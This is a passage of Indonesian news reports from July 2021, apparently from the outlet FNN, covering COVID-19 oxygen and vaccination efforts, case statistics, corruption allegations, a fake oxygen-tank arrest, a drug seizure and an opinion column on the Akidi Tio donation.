mendapatkan oksigen. "Bagaimana jika ada yang membawa dua hingga tiga tabung? Kami akan dahulukan terlebih dulu yang sudah antre, setelah itu jika memang masih ada kami isikan kembali. Kurang lebih seperti itu teknisnya, supaya pembagian ini juga merata, jangan sampai ada yang bawa banyak, tetapi yang sudah ngantre dan membawa satu tidak kebagian," ujarnya. (sws)

Polda Metro Tangkap Penyulap APAR Jadi Tabung Oksigen

Jakarta, FNN - Penyidik Polda Metro Jaya menangkap seorang pria berinisial WS lantaran menyamarkan dan menjual alat pemadam api ringan (APAR) sebagai tabung oksigen. "Alat pemadam kebakaran yang biasanya diisi dengan CO2 atau serbuk-serbuk untuk memadamkan kebakaran tetapi dengan upaya tersangka ini untuk mencari keuntungan mengubah tabung ini, kemudian diisi dengan oksigen," kata Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus di Mapolda Metro Jaya, Jakarta, Jumat. Yusri mengungkapkan kasus ini terbongkar saat polisi melakukan patroli siber dan menemukan menemukan akun Facebook atas nama Erwan02 yang dicurigai menjual tabung oksigen yang tidak sesuai standar. Polisi kemudiam memesan tabung oksigen yang dijual WS untuk diperiksa dan didapati bahwa tabung tersebut adalah APAR yang dicat menyerupai tabung oksigen. Hal yang meyakinkan penyidik adalah pada badan tabung terdapat tulisan CO2 dan PMK (pemadam kebakaran). Yusri menjelaskan tabung yang diperuntukkan untuk oksigen mempunyai spesifikasi khusus dan lebih tebal untuk alasan keamanan. Tabung yang tidak sesuai standar berpotensi meledak apabila dipaksakan untuk diisi dengan oksigen. "Karena ketebalannya berbeda, ini bisa meledak dan bisa membahayakan," ujarnya. Atas temuan tersebut polisi kemudian melakukan penangkapan terhadap WS selaku pemilik akun dan penjual tabung oksigen palsu tersebut. Tersangka WS ditangkap pada 27 Juli 2021 di rumahnya di kawasan Tangerang. Yusri menyebut aksi itu dilakukan pelaku untuk mencari keuntungan dengan memanfaatkan melonjaknya permintaan oksigen baik dari rumah sakit maupun masyarakat. "Pengakuan sudah 20 tabung dia jual, tapi kami masih mendalami," tambahnya. Atas perbuatannya, tersangka WS dijerat dengan Undang-Undang Nomor 36 Tahun 2009 tentang Kesehatan dan Pasal 113 Undang-Undang Nomor 7 Tahun 2014 tentang Perdagangan dengan ancaman 10 tahun penjara. (mth)

ICW Belum Terima Somasi Resmi Kepala Staf Kepresidenan Moeldoko

Jakarta, FNN - Indonesia Corruption Watch (ICW) menyebut belum menerima somasi resmi dari Kepala Staf Kepresidenan Moeldoko terkait tuduhan kedekatan Moeldoko dengan produsen obat Ivermectin. "Hingga saat ini ICW belum menerima somasi resmi dalam bentuk tertulis dari pihak Moeldoko. Jadi, kami tidak mengetahui poin-poin apa saja yang menjadi keberatan," kata anggota Divisi Hukum ICW Kurnia Ramadhana di Jakarta, Jumat, 30 Juli 2021 Pada Kamis (29/7), penasihat hukum Moeldoko, Otto Hasibuan melayangkan somasi terbuka terhadap ICW maupun kepada peneliti ICW Egi Primayogha. Otto menyebutkan, apabila ICW tidak dapat membuktikan bahwa Moeldoko terlibat dalam peredaran Ivermectin maka kliennya meminta ICW mencabut pernyataannya. Selain itu, meminta maaf kepada Moeldoko secara terbuka melalui media cetak dan media elektronik. Otto mengancam, jika tidak bersedia meminta maaf secara terbuka, maka akan melapor kepada yang berwajib. "Akan tetapi, kami juga menegaskan bahwa kerja-kerja pemberantasan korupsi, terutama dalam hal pengawasan, tidak akan berhenti karena adanya isu tersebut," ucap Kurnia sebagaimana dikutip dari Antara. Kurnia menegaskan, penelitian yang dihasilkan oleh ICW adalah bagian dari fungsi pengawasan masyarakat terhadap jalannya proses pemerintahan, termasuk di dalamnya para pejabat publik. "Selain itu, ini pun bukan kali pertama, sejak ICW berdiri, mandat organisasi memang sepenuhnya didedikasikan untuk memastikan penyelenggaraan pemerintahan terbebas dari praktik korupsi, kolusi, maupun nepotisme," ujar Kurnia. ICW sebelumnya menyebut Moeldoko dalam jabatannya sebagai Ketua Himpunan Kerukunan Tani Indonesia (HKTI) punya hubungan dengan PT Noorpay Nusantara Perkasa, yaitu mengadakan program pelatihan petani di Thailand. PT Noorpay sahamnya dimiliki oleh Sofia Koswara sebagai Wakil Presiden PT Harsen Laboratories, produsen Ivermectin yang disebut-sebut sebagai salah satu obat COVID-19. Egi mengungkapkan jejaring itu diduga mencari keuntungan di tengah krisis pandemi lewat relasi politik. Apalagi putri Moeldoko, yaitu Joanina Rachman adalah pemegang saham mayoritas di PT Noorpay Nusantara Perkasa. Koalisi masyarakat sipil meminta untuk mencabut somasi tersebut. "Moeldoko selaku Kepala Staf Kepresidenan harus mencabut somasi dan mengurungkan niat untuk melanjutkan proses hukum terhadap ICW," kata salah satu perwakilan koalisi, Muhammad Isnur. Ia meminta agar Moeldoko menghormati proses demokrasi, yaitu kritik dari hasil penelitian yang dilakukan oleh ICW. Moeldoko diharapkan lebih fokus pada klarifikasi terhadap temuan-temuan dari penelitian tersebut. (MD).

Kasus Sembuh dari COVID-19 di Sulteng Cetak Rekor, Terbanyak di Poso

Palu, FNN - Pusat Data dan Informasi (Pusdatina) COVID-19 Provinsi Sulawesi Tengah (Sulteng) mencatat penambahan kasus sembuh harian di Sulteng mencapai rekor tertinggi yaitu 426 orang. "Hari ini 426 pasien COVID-19 dinyatakan telah sembuh berdasarkan hasil tes usap sehingga secara secara kumulatif total pasien yang sembuh di Sulteng berjumlah 15.791 orang," katanya di Kota Palu, Jumat malam. Ia menerangkan pasien COVID-19 yang sembuh terbanyak berada di Kabupaten Poso yaitu 112 orang, disusul 82 orang di Sigi, 80 orang di Parigi Moutong (Parimo), 63 orang di Tolitoli, 58 orang di Banggai, 22 orang di Kota Palu, tujuh orang di Kabupaten Banggai Laut (Balut) dan dua orang di Buol. Mereka yang sudah sembuh telah diizinkan pulang, namun harus menerapkan protokol kesehatan pencegahan penularan dan penyebaran COVID-19 secara ketat agar tidak kembali terpapar. Sementara itu 643 orang terkonfirmasi positif COVID-19 hari ini meliputi 156 orang di Palu, 94 orang di Poso, 84 orang di Tolitoli, 82 orang di Banggai, 53 orang di Tojo Una-Una (Touna), 44 orang di Morowali, 40 orang di Morowali Utara, 35 orang di Sigi. Selanjutnya, 24 orang di Donggala, 10 orang di Parimo dan Buol, delapan orang di Banggai Laut dan tiga orang di Banggai Kepulauan. Secara kumulatif, ia mengatakan total pasien yang terkonfirmasi COVID-19 sampai saat ini berjumlah 22.403 orang. Selain itu, Haris mengatakan 25 pasien COVID-19 masing-masing sembilan orang di Parimo, lima orang di Poso, empat orang di Banggai, tiga orang di Tolitoli, dua orang di Morowali dan Palu dinyatakan meninggal dunia hari ini. "Sehingga total pasien COVID-19 yang meninggal dunia sampai saat ini berjumlah 595 orang. Adapun 5.992 pasien COVID-19 saat ini menjalani karantina secara mandiri maupun di pusat pelayanan kesehatan milik pemerintah daerah setempat. Mari kita doakan agar mereka semua sembuh," ucapnya. Ia meminta masyarakat mendukung tim pengawas dinas kesehatan kabupaten dan kota di Sulteng yang melakukan penelusuran terhadap orang-orang yang pernah melakukan kontak dengan pasien positif COVID-19. Selain itu, warga diimbau menerapkan protokol kesehatan pencegahan penularan dan penyebaran COVID-19 secara ketat. "Pencegahan yakni dengan memakai masker, mencuci tangan, menjaga jarak, menjauhi kerumunan dan mengurangi mobilitas di luar rumah. Langkah tersebut sangat penting dilakukan untuk memutus mata rantai penyebaran dan penularan COVID-19 di Sulteng," katanya. (mth)

Gubernur Apresiasi "Serbuan Vaksin" TNI AL di Pelabuhan Tanjungkalian

Mentok, Babel, FNN - Gubernur Kepulauan Bangka Belitung Erzaldi Rosman memberikan apresiasi kepada Pangkalan TNI Angkatan Laut setempat atas keberhasilan dalam menggelar "serbuan vaksin" COVID-19 di Pelabuhan Tanjungkalian, Mentok. "Kegiatan vaksinasi berjalan cukup rapi, teratur dan sesuai protokol kesehatan sehingga para peserta vaksin dari kelompok warga maritim terlayani dengan baik dan proses berjalan lancar," katanya saat mengunjungi Pelabuhan Tanjungkalian, Mentok, Jumat. Pelaksanaan vaksinasi COVID-19 untuk warga pesisir dan para pekerja yang bergerak di bidang kemaritiman di lingkungan Pelabuhan Tanjungkalian Mentok tersebut, merupakan vaksinasi kedua yang dilaksanakan Pos Angkatan Laut Mentok jajaran Pangkalan TNI AL Babel bekerja sama dengan Dinas Kesehatan Kabupaten Bangka Barat, RSUD Sijiran Setason, dan puskesmas. Gubernur Erzaldi menyampaikan terima kasih kepada warga maritim yang antusias untuk melaksanakan vaksinasi terlebih kepada TNI AL Pangkalan Babel dan Dinas Kesehatan yang telah menyelenggarakan vaksinasi tahap dua tepat waktu sesuai ketentuan urutan yang mendaftar. Dalam kunjungan perdana di Bangka Barat, Komandan Pangkalan TNI Angkatan Laut Babel Kolonel (P) Fajar Hernawan mengatakan kegiatan "serbuan vaksinasi" masyarakat maritim sebagai tindak lanjut perintah KSAL Laksamana TNI Yudo Margono dalam rangka mempercepat program pemerintah terkait dengan vaksinasi COVID-19 guna memutus mata rantai penyebaran virus di daerah itu. "Kabupaten Bangka Barat masuk dalam PPKM level 4 tentunya hal ini menjadi perhatian kita bersama, kami mengimbau masyarakat di daerah ini, khususnya yang berada di Pelabuhan Tanjungkalian sebagai pintu masuk warga dari Palembang tetap patuh dan disiplin menjalankan protokol kesehatan 5M agar kembali ke zona hijau," kata dia. Ia menjelaskan pelaksanaan vaksinasi tahap dua yang digelar di Pelabuhan Tanjungkalian menggunakan vaksin Sinovac, diikuti warga berusia 18 tahun ke atas sebanyak 356 orang. Dalam "serbuan vaksinasi" tersebut, tim vaksinator didukung sebanyak empat orang dari Bidang Kesehatan Lanal Babel, yaitu satu dokter dan tiga tenaga kesehatan, sedangkan dari RSUD Sijiran Setason tujuh orang yang terdiri atas dua dokter dan lima tenaga kesehatan, sedangkan dari Puskesmas Mentok 11 orang terdiri atas satu dokter dan 10 tenaga kesehatan. Kegiatan yang digelar di kawasan Pelabuhan Tanjungkalian tersebut mendapatkan perhatian dan dikunjungi langsung Gubernur Babel, Kapolda, Danrem 045/Gaya, Danlanal, Bupati dan Wakil Bupati Bangka Barat, Kepala KKP Pangkalpinang, dan sejumlah pejabat forkopimda setempat. (mth)

MAKI Temukan Dugaan Pemotongan Insentif Nakes COVID-19

Serang, FNN - Masyarakat Anti Korupsi Indonesia (MAKI) menemukan adanya dugaan pemotongan atau penyelewengan terhadap insentif tenaga kesehatan (nakes) penanganan COVID-19 di salah satu rumah sakit di Kota Serang. Kordinator MAKI Boyamin Saiman di Serang, Kamis mengatakan, pihaknya sudah melakukan investigasi atas adanya pengaduan terhadap dugaan pemotongan insentif nakes tersebut. Hasil investigasi tersebut selama dua hari di salah satu rumah sakit dj Kota Serang, ada indikasi kuat dugaan pemotongan ataupun penyelewengan honor nakes tersebut. "Minggu kemarin saya dapat pengaduan ada dugaan pemotongan, penyunatan. pengurangan atau apapun itu namanya, atas honorarium tenaga kesehatan yang menangani COVID-19. Anggaran ini bersumber dari APBN melalui Kementerian Kesehatan dan disalurkan ke rumah sakit," kata Boyamin Saiman kepada wartawan. Ia mengatakan, bahwa aduan tersebut mengenai sistem pemberian honorarium nakes itu dimasukkan ke rekening masing-masing nakes. "Para nakes ini awalnya disuruh buat rekening atas nama masing- masing nakes. Akan tetapi buku tabungan dan ATM-nya tidak dikasihkan ke para nakes," kata Boyamin. Belakangan diketahui, kata dia, pada bukan Juli ini buku tabungan dan ATM diberikan, sehingga setelah di cek di rekening masing-masing diketahui uang yang masuk dan keluar. Menurutnya, honorarium nakes yang masuk tersebut diperkirakan untuk waktu enam bulan lalu, sekitar Desember 2020 sampai Mei 2021 atau antara Januari 2021 sampai Juni 2021. Rata-rata uang yang masuk sekitar antara Rp20 juta sampai 50 juta, tergantung posisi dan jabatan masing-masing nakes. "Jadi ketika nakes itu mengecek ke bank saldo yang tertera itu masing-masing antara Rp8 juta sampai Rp25 juta. Sehingga mereka bisa mengambil uang antara Rp7 juta sampai Rp25 juta," kata Boyamin. Dengan demikian, kata Bonyamin, nakes yang honorariumnya Rp50 juta hanya bisa mengambil antara Rp20 juta sampai Rp25 juta dan yang honornya Rp20 juta sampai Rp30 juta, hanya bisa mengambil antara Rp8 juta sampai Rp10 juta. Atas temuan dugaan pemotongan tersebut, pihaknya langsung melaporkan ke Polda Banten. Adapun dugaan pelanggarannya apa, nanti Polda Banten yang akan merumuskan untuk proses tindaklaniutnya. "Apakah ini dugaan pelanggaran Undang-undang perbankan karena adanya pengurangan saldo yang tidak terecord atau dugaan pelanggaran lain. Tapi nyatanya para nakes tersebut hanya bisa mencairkan sejumlah saldo terakhir," kata Boyamin. (sws)

Kota Gorontalo Akan Terapkan PPKM Level 4

Gorontalo, fnn - Pemerintah Kota Gorontalo segera menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. Kenaikan dari level 3 ke level 4 tersebut, hanya berselang tiga hari dari Instruksi Mendagri Nomor 26 tahun 2021. "Memang untuk Instruksi Mendagri No.26/2021 bahwa PPKM di Kota Gorontalo level 3. Namun, hingga kini kasus baru COVID-19 di kota sudah mencapai 37,13 orang per 100 ribu penduduk. Begitu juga dengan kematian meningkat tajam, rata-rata ada 7 orang perpekan," kata Kepala Dinas Kesehatan Provinsi Gorontalo Yana Yanti Suleman, saat rapat evaluasi Gubernur Gorontalo dengan unsur Forkopimda, wali kota, camat dan lurah yang berlangsung daring, Jumat. Menurutnya peningkatan ke level 4 patut diwaspadai oleh semua pihak. Indikator paling tinggi yakni kondisi rawat inap yang berada di level 4 yakni 37,4 orang per 100 ribu penduduk. Hal itu berarti ada 74 orang yang dirawat perpekan, jika total jumlah penduduk kota 200 ribu orang. Sementara itu, tingkat hunian rumah sakit atau Bed Occupancy Rate (BOR) di Kota Gorontalo juga sudah berada di angka yang mengkhawatirkan. Di Rumah Sakit Aloei Sobe dari total 118 tempat tidur, sudah terisi 102 unit diantaranya. "Begitu juga di rumah sakit Otanaha. Dari total 37 tempat tidur, sudah 27 yang terisi atau 79,4 persen. Penting bagi kita mengaktifkan plan B, untuk penambahan gedung baru khusus penanganan COVID-19," ungkapnya. Wali Kota Gorontalo Marten Taha menilai aparaturnya sudah melaksanakan upaya-upaya preventif. Ia mengungkapkan, sejak Senin pekan ini pihaknya sudah mengambil langkah membuat posko di pasar. "Di pasar sudah ada posko, selain sosialisasi masker di situ juga kami gunakan untuk vaksinasi. Tempat-tempat makan masih buka, tapi sudah tidak melayani makan di tempat," katanya. Ia mengajak semua pihak untuk turun bersama melakukan pemantauan. Menurutnya, kerumunan dan penangan protokol kesehatan di Kota Gorontalo sudah terkendali. (mth)

BNNP Sumbar Ungkap Pengiriman Narkoba Melalui Jasa Ekspedisi

Padang,, FNN - Badan Narkotika Nasional Provinsi (BNNP) Sumatera Barat mengungkap kasus pengiriman narkoba jenis ganja kering dari Sumatera Utara ke Kabupaten Padang Pariaman menggunakan salah satu jasa ekspedisi. Kepala BNNP Sumbar Brigjen Pol Khasril Arifin dalam jumpa pers di Padang, Jumat, mengatakan dalam kasus ini pihaknya menangkap Febri Antoni (27) sebagai penerima paket tersebut. Paket barang haram itu masuk ke wilayah Sumbar saat melewati pemeriksaan Bea Cukai Padang dan melakukan koordinasi dengan BNNP Sumbar. "Paket ini dibungkus dalam sebuah plastik berisikan baju dan kardus kecil dengan lakban berisikan ganja seberat 74,36 gram," kata dia. Ia mengatakan pengungkapan kasus ini dilakukan pada Sabtu (24/7). BNNP Sumbar dan Bea Cukai mendapatkan informasi ada pengiriman narkoba melalui jasa ekspedisi. Petugas langsung mendatangi ekspedisi tersebut dan ditemukan paket yang dicari sehingga dilakukan pemeriksaan. "Kita menemukan batang, daun kering yang dibungkus, dan ternyata narkoba jenis ganja. Kita lakukan pengembangan kemana lokasi barang ini akan dikirim, ternyata tujuan Pasar Sago Nagari Koto Dalam, Kecamatan Pasar Sago, Kabupaten Padang Pariaman," kata dia. Ia mengatakan pihaknya langsung mengembangkan kasus ini dan berkoordinasi dengan BNNP Sumatera Utara. Menurut dia, memang banyak pengiriman narkoba dari Medan menuju sejumlah daerah menggunakan jasa ekspedisi. "Di Sumbar sudah ada sejumlah kasus serupa ditemukan dan salah satu upaya kita adalah edukasi jasa ekspedisi di daerah ini dan meminta mereka menyediakan alat detektor untuk memeriksa barang yang akan dikirim melalui ekspedisi mereka," katanya. Pelaku disangkakan Pasal 114 ayat 1jo Pasal 111 ayat 1 jo 127 ayat 1 UU Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman maksimal pidana kurungan 20 tahun dan denda Rp10 miliar. (mth)

Bukan Cuma Dahlan Iskan Yang Pusing!

by Zainal Bintang Jakarta FNN - Nama Akidi Tio mendadak menjadi trending topic. Menjadi pembicaraan hangat semua media mainstream, baik cetak, televisi, dan juga online. Apalagi media sosial (medsos). Meskipun sudah almarhum pada usia 89 tahun 2009, masih patuh menyumbang untuk kemanusiaan. Itu terlihat ketika wakil keluarganya memegang sebuah styrofoam ukuran sedang dengan tulisan huruf kapital kata-kata: “Sumbangan Untuk Penanggulangan Covid-19 dan Kesehatan di Palembang-Sumsel. Dari Bapak Akidi Tio Dan Keluarga Besar sebesar Rp. 2 Triliun”. Angkanya yang mencengangkan. Seperlima APBD 2021 Propinisi Sumatera Selatan yang jumlahnya Rp. 10.5 triliun. Apalagi dengan APBD 2021 Kota Palembang hanya hanya Rp. 4.3 triliun. Juga masih jauh lebih besar dibanding jumlah dana yang dikumpulkan oleh Media Group pimpinan Surya Paloh bersama Yayasan Sukma ketika terjadi Tsunami di Aceh akhir 2004 yang hanya berhasil mengumpulkan kurang lebih Rp. 138 miliar. Itupun sudah sempat heboh. Dalam pemberitaan KOMPAS.com, Senin (26/7/2021), tertulis begini: “Pemprov Sumatera Selatan (Sumsel) mendapat bantuan dana hibah sebesar Rp 2 triliun untuk penanggulangan Covid-19 dari pihak yang mengatasnamakan keluarga almarhum Akidi Tio. Hibah itu diserahkan melalui Polda Sumsel yang prosesinya pada Senin (26/7/2021). Ini terungkap melalui akun media sosial resmi Humas Polda Sumsel. “Kapolda Sumsel Irjen Pol. Prof. Dr. Eko Indra Heri S, MM., menerima hibah/CSR dari keluarga alm. Akidi, Senin (26/7) bertempat di ruang Rekonfu Mapolda Sumsel,” tulis akun facebook Humas Polda Sumsel dalam unggahannya. Penyerahan Hibah/CSR disaksikan Gubernur Propinsi Sumsel H. Herman Deru, Dandrem 004 Gapo Brigjen TNI Jauhari Agus Suraji S.I.P., S.sos., Kadinkes Lesty Nurainy Apt, M.Kes. Penyerahan Hibah dalam rangka penanganan Covid-19 di Propinsi Sumatera Selatan”. Dana hibah atau CSR? Bukankah CSR itu berarti tanggung jawab sosial perusahaan? Artinya, itu kewajiban yang diperlakukan menurut UU. Mengenai perusahaan membangun desa setempat, hal ini terkait dengan tanggung jawab sosial dan lingkungan atau Corporate Social Responsibility (TJSL). TJSL tidak hanya mengenai kegiatan yang dilakukan perusahaan, dimana perusahaan ikut serta dalam pembangunan ekonomi masyarakat setempat. Tetapi juga terkait kewajiban perusahaan dalam melestarikan lingkungan. TJSL itu terpatri dalam Undang-Undang No. 40 Tahun 2007 tentang Perseroan Terbatas (“UUPT”) serta Peraturan Pemerintah No. 47 Tahun 2012 tentang Tanggung Jawab Sosial Dan Lingkungan Perseroan Terbatas (PP 47/2012). Mungkin yang lupa dipertanyakan para awak media di Palembang kepada Gubernur, bahwa, jika sekiranya sumbangan itu adalah dana hibah dari CSR, maka bidang usaha yang mana milik almarhum yang terkena beban CSR itu? Tentu yang bisa menjelaskan hal ini adalah pakar keuangan dan perpajakan. Saya bukan ahlinya. Siapa Akidi Tio? Menjadi jelas, setidaknya bagi saya setelah membaca artikel di kanal Youtube pribadi “disway” asuhan DI (Dahlan Iskan) mantan Menteri Negara Badan Usaha Milik Negara (Meneg BUMN). Judul tulisan “Bantuan 2 T”, disiarkan Rabu, 28 Juli 2021. Saya kutipkan disini potongan tulisan perintis kerajaan media “Jawa Pos Group” itu, tentang siapa almarhum Akidi Tio. Berikut ini petikan dialog DI dengan Prof. Dr. Hardi Darmawan, wakil dan sekaligus dokter keluarga almarhum. "Resminya bantuan itu nanti untuk kapolda, gubernur, atau Pemprov Sumsel?" tanya saya”. "Ke Kapolda Sumsel Pak Eko Indra Heri," ujar Prof Hardi. “Siapa yang menentukan bahwa bantuan itu untuk Kapolda Sumsel? Apakah atas arahan Prof Hardi?" tanya saya lagi. "Bukan arahan saya. Itu langsung keinginan keluarga. Untuk diberikan ke Kapolda," jawab Prof Hardi. "Bantuan itu nanti bentuknya uang kontan, cek, atau transfer? Atau berbentuk bantuan bahan makanan?". “Bentuknya uang. Akan ditransfer besok," jawab Prof Hardi kemarin sore. Berarti hari ini”. "Apakah boleh ditransfer ke rekening Polda? Juga apakah boleh dikirim ke rekening pribadi Kapolda?" tanya saya sambil mengingatkan aturan yang ada. “Masih diatur. Mungkin disiapkan rekening khusus”. Pengusaha yang menyumbang Rp 2 triliun itu, meninggal tahun 2009 lalu. Saat itu Tio berusia 89 tahun. Berarti 101 tahun hari ini. Beliau meninggal akibat serangan jantung. Makamnya juga di Palembang”, tulis DI. Tulisan itu diposting hari Rabu, 28 Juli 2021 jam 04.40. Setelah saya baca, karena penasaran, maka jam lima pagi lewat sepuluh menit, saya kirim pesan WhatsApp kepada bung DI. “Selamat pagi bung DI. Sebagai wartawan kawakan, mengapa anda tidak meminta dari Prof. Hardi Darmawan, identitas salah seorang atau semua tujuh orang anak almarhum Akidi Tio yang misterius itu? Between, tulisan anda "2 T" cukup menggoda. Menggoda untuk mengetahui: (1). Bagaimana reaksi Pusat Pelaporan Analisa dan Transaksi Keuangan (PPATK). Karena ada peraturan pembatasan transfer untuk uang kartal, hanya diperbolehkan 100 juta saja. (2). Bagaimana reaksi Menteri Keuangan yang lagi nafsu berburu sumber pajak/Wajib Pajak baru? Trims. Salam sehat selalu”. Saya menutup pesan itu. Terkait pertanyaan saya, mengapa DI tidak minta alamat dan nomer kontak seluruh tujuh anak almarhum Akidi Tio, akhirnya DI membalas WA saya pada sore hari jam 15.38 Wib dengan menulis: “tentu saja saya minta ke beliau ha ha”. Saya balas lagi : “tentu saja saya percaya anda melakukannya”. Akhirnya, Kamis 29/07/21) DI kembali menulis di kanal “disway” judulnya: “Pusing 2T”. Saya sarankan, lebih baik lagi jika pembaca yang budiman mau membaca sendiri tulisan itu secara lengkap di internet. Namun, saya kutipkan bahagian tengah tulisan itu. DI menulis, “sayangnya tidak ada penjelasan rinci dari ahli waris Akidi Tio. Pokoknya: menyumbang kapolda Rp 2 triliun. Saya tidak tahu apakah akan ada dokumen yang menyertai transfer dana itu. Yang jelas tidak ada dokumen apa pun yang ditandatangani Selasa lalu”. Lanjutan tulisan DI, “hari itu, Selasa siang lalu, dikira hanya ada acara rutin di ruang rapat lantai 3 Polda Sumsel. Wartawan tulis tidak boleh naik ke lantai 3. Hanya fotografer yang diizinkan. Wartawan menunggu di lantai bawah, menunggu para pejabat itu turun untuk diwawancarai secara door stop”. Pada bahagian akhir DI bertutur, “saya juga ingin menghubungi Prof Hardi sekali lagi kemarin sore. Saya ingin bertanya apakah dana itu jadi ditransfer kemarin. Telepon saya itu di-reject. WA saya juga tidak dibalas, meski ada tanda sudah dibaca. Tapi saya tetap hormat. Sehari sebelumnya beliau telah banyak menjawab pertanyaan saya. Saya pun menghubungi Ibnu Holdun, wartawan Sumatera Ekspres yang telah ke rumah Heryanti. (Ini nama anak perempuan Akidi yang tinggal di Palembang, yang menghadiri upacara itu di Polda. Nama dan no Hp-nya rupanya berhasil juga diperoleh lantaran kegigihan seorang DI). Rumah itu, kata Holdun, kosong. Pagarnya ditutup dan dikunci”. “Rumah itu lebih bagus dari tetangga sekitar. Tetapi tidak mencerminkan rumah orang kaya raya. Lihatlah sendiri foto rumah itu di bagian lain tulisan ini. Saya menyadari masih begitu banyak pertanyaan di seputar sumbangan Rp 2 triliun ini. Akidi telah menampar begitu banyak konglomerat negeri ini. Dan ia tidak peduli. Ia sudah 11 tahun mati. Akidi telah lama meninggal dunia. Tapi namanya hidup kembali. Akidi telah mengalahkan orang-orang yang masih hidup menjadi seolah-olah sudah lama mati”. Beginilah humor getir ala DI. Saya sudah bersahabat baik dengan DI sejak tahun 1975. Kami sama-sama memulai karier sebagai wartawan, pencari dan penulis berita yang diburu dari lapangan, sebelum akhirnya berubah menjadi pemimpin media milik sendiri. Dalam kenyataannya, DI jauh lebih sukses. Dalam tulisannya yang berjudul “Ai Lap Yu Pul” diunggah Selasa (27 Juli 2021) yang mencoba melacak jejak Akidi Tio, Ilham Bintang (IB) pendiri “kerajaan” rumah produksi “Cek & Ricek” juga menghubungi tokoh Palembang Anwar Fuadi. Ternyata Fuadi pun sebagai tokoh yang luas pergaulan, tidak tahu sama sekali siapa itu keluarga Akidi Tio, kata IB yang juga Ketua Dewan Kehormatan PWI Pusat. Maka, DI dan IB gagal menggeledah tokoh masyarakat Sumatera Selatan untuk menggali lebih dalam, “siapakah gerangan sang dermawan yang baik hati dan rendah hati itu?” Dipastikan seluruh hati rakyat Indonesia sangat terharu, bangga dan bersyukur, ternyata masih ada manusia sederhana. Manusia yang sama sekali tidak dikenal atau dikenal di kalangan dunia persilatan pengusaha keturunan taipan kelas naga. Tetapi, berani untuk tampil beda. Meminjam istilah DI, “Akidi telah menampar begitu banyak konglomerat negeri ini. Dan Akidi tidak peduli. Akidi sudah 11 tahun mati lalu”. Pastinya, hari-hari ini, bukan cuma DI yang pusing. orang lain pun kebagian pusing. Ditandai berhamburan begitu banyak pernyataan di media yang saling bertabrakan. Salah satunya diberitakan di media, Kamis (29/07/2021), bahwa Kementerian Keuangan mengatakan “sumbangan almarhum pengusaha Akidi Tio sebesar Rp. 2 triliun sebagai penerimaan hibah negara”. Kamis, 29 Juli 2021, Media Indonesia menurunkan judul berita, “BI Angkat Bicara Soal Transfer Bantuan Covid-19 Rp. 2 Triliun”. Kepala Kepala Departemen Komunikasi BI Erwin Haryono mengatakan, pihaknya tidak mengetahui perihal sumbangan untuk penanganan Covid-19 di Sumatera Selatan itu. "Kalau menyangkut perpindahan uang, mungkin saya masuk ke situ. Kalau soal sumbangannya itu sendiri, mohon maaf saya tidak tahu, tidak punya informasi tentang itu," kata Erwin saat diwawancarai Metro TV, Kamis (29/7/2021). Benarlah kata Kapolda Sumsel, "saya hanya makelar kebaikan saja. Terkait alokasi, nanti akan ada ahli-ahli yang lebih paham. Saya hanya membantu menyampaikan seperti dengan gubernur, pangdam, dan steakholder terkait lainnya," ujarnya seperti ditulis di Kompas.com. Pesan WhatsApp dari teman lama masuk ke Hp saya: Tolong bilangin kepada bung DI, bukan cuma dia yang pusing, seluruh republik sepertinya dibuat terbingung-bingung juga. Tetapi sambil berdoa semoga sumbangan itu cepat dicairkan oleh negara. Mudah-mudahan bung DI mau juga membaca tulisan ini. Penulis adalah wartawan senior dan pemerhati masalah sosial budaya.

MK Kabulkan Pencabutan Uji Materi UU yang Diajukan Masyarakat Anti Korupsi

Jakarta, FNN - Majelis hakim Mahkamah Konstitusi (MK) mengabulkan pencabutan uji materi Pasal 69 C Undang-Undang Nomor 19 Tahun 2019 tentang Perubahan Kedua atas UU No. 30/2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi yang diajukan oleh Masyarakat Anti Korupsi (MAKI). "Mengabulkan penarikan kembali permohonan para pemohon," kata Ketua MK Anwar Usman saat membacakan ketetapan perkara Nomor 25/PUU-XIX/2021 di Jakarta, Jumat, sebagaimana dikutip dari Antara. Kedua, menyatakan permohonan pemohon mengenai pengujian kata "dapat" dan frasa "ketentuan perundang-undangan" dalam Pasal 69 B Ayat (1), serta dalam Pasal 69 C UU No. 19/2019 tentang Perubahan Kedua atas UU No. 30/2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi terhadap UUD Negara Republik Indonesia Tahun 1945 ditarik kembali. Dalam sidang yang diselenggarakan secara virtual tersebut, majelis hakim juga menyatakan pemohon sekaligus Koordinator MAKI Boyamin bin Saiman dan Komaryono tidak dapat mengajukan kembali permohonan a quo. Memerintahkan Panitera MK untuk mencatat perihal pencabutan kembali permohonan pemohon dalam buku registrasi perkara konstitusi elektronik dan mengembalikan salinan berkas kepada pemohon. Sebelum pelaksanaan sidang pemeriksaan pendahuluan, yang semula diagendakan pada tanggal 21 Juni 2021, MK menerima surat dari pemohon perihal penarikan kembali pengujian UU dalam perkara yang diajukan. Guna meminta konfirmasi perihal pencabutan tersebut, sidang yang awalnya dijadwalkan pada 24 Juni batal karena adanya pemberlakuan pembatasan kegiatan masyarakat (PPKM). Setelah itu, MK kembali menunda sidang pada tanggal 22 Juli 2021 karena perpanjangan PPKM. Pada sidang 22 Juli tersebut majelis hakim panel menerima konfirmasi dari pemohon yang membenarkan penarikan permohonan a quo. (MD).

Sabtu dan Ahad Buka, Kodim Jaksel Lakukan Vaksinasi Massal.

